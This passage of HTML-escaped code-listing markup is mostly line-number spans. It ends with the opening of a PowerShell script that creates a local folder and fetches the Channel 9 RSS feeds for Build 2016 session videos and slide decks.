&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt; 64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt; 65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt; 66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt; 67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt; 68&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;69&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#69&#34;&gt; 69&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;70&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#70&#34;&gt; 70&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;71&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#71&#34;&gt; 71&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;72&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#72&#34;&gt; 72&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;73&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#73&#34;&gt; 73&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;74&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#74&#34;&gt; 74&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;75&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#75&#34;&gt; 75&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;76&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#76&#34;&gt; 76&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;77&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#77&#34;&gt; 77&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;78&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#78&#34;&gt; 78&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;79&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#79&#34;&gt; 79&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;80&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#80&#34;&gt; 80&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;81&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#81&#34;&gt; 81&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;82&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#82&#34;&gt; 82&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;83&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#83&#34;&gt; 83&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;84&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#84&#34;&gt; 84&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;85&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#85&#34;&gt; 85&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;86&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#86&#34;&gt; 86&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;87&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#87&#34;&gt; 87&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;88&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#88&#34;&gt; 88&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;89&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#89&#34;&gt; 89&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;90&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#90&#34;&gt; 90&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;91&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#91&#34;&gt; 91&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;92&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#92&#34;&gt; 92&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;93&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#93&#34;&gt; 93&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;94&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#94&#34;&gt; 94&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;95&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#95&#34;&gt; 95&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;96&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#96&#34;&gt; 96&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;97&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#97&#34;&gt; 97&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;98&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#98&#34;&gt; 98&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;99&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#99&#34;&gt; 99&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;100&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#100&#34;&gt;100&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;101&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#101&#34;&gt;101&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;102&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#102&#34;&gt;102&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;103&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#103&#34;&gt;103&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;104&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#104&#34;&gt;104&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;105&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#105&#34;&gt;105&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;106&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#106&#34;&gt;106&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;107&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#107&#34;&gt;107&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;108&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#108&#34;&gt;108&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;109&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#109&#34;&gt;109&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;110&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#110&#34;&gt;110&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;111&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#111&#34;&gt;111&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;112&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#112&#34;&gt;112&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;113&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#113&#34;&gt;113&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;114&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#114&#34;&gt;114&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;115&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#115&#34;&gt;115&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;116&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#116&#34;&gt;116&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;117&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#117&#34;&gt;117&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;118&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#118&#34;&gt;118&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;119&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#119&#34;&gt;119&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;120&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#120&#34;&gt;120&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;121&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#121&#34;&gt;121&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;122&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#122&#34;&gt;122&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;123&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#123&#34;&gt;123&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;124&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#124&#34;&gt;124&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;125&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#125&#34;&gt;125&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;126&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#126&#34;&gt;126&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;127&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#127&#34;&gt;127&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;128&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#128&#34;&gt;128&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;129&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#129&#34;&gt;129&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;130&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#130&#34;&gt;130&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;131&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#131&#34;&gt;131&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;132&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#132&#34;&gt;132&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;133&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#133&#34;&gt;133&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;134&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#134&#34;&gt;134&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;135&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#135&#34;&gt;135&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;136&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#136&#34;&gt;136&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# First setup the folder where to download using the parameters outlined below.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Second, loop through and get the decks first&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Third. loop through and get the videos last&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Note: IF you don&amp;#39;t want to download the videos, and want only the pptx then comment the section later in the script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# parameters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#eed49f&#34;&gt;Environment&lt;/span&gt;]::CurrentDirectory=(&lt;span style=&#34;color:#91d7e3&#34;&gt;Get-Location&lt;/span&gt; -PSProvider FileSystem).&lt;span style=&#34;color:#f5a97f&#34;&gt;ProviderPath&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt; = (&lt;span style=&#34;color:#91d7e3&#34;&gt;new-object&lt;/span&gt; net.webclient)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Filenames might get long, so keep this short!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;D:\build&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;)) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$fpath&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; dosen&amp;#39;t exist. Creating it...&amp;#34;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;set-location&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Grab the RSS feed - Build 2016&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$a&lt;/span&gt; = (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;downloadstring&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://s.ch9.ms/events/build/2016/rss/mp4high&amp;#34;&lt;/span&gt;)) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$b&lt;/span&gt; = (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;downloadstring&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://s.ch9.ms/events/build/2016/rss/slides&amp;#34;&lt;/span&gt;)) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Video quality default is high; you can select regular (mp4) or lower quality (mp3)&lt;/span&gt;
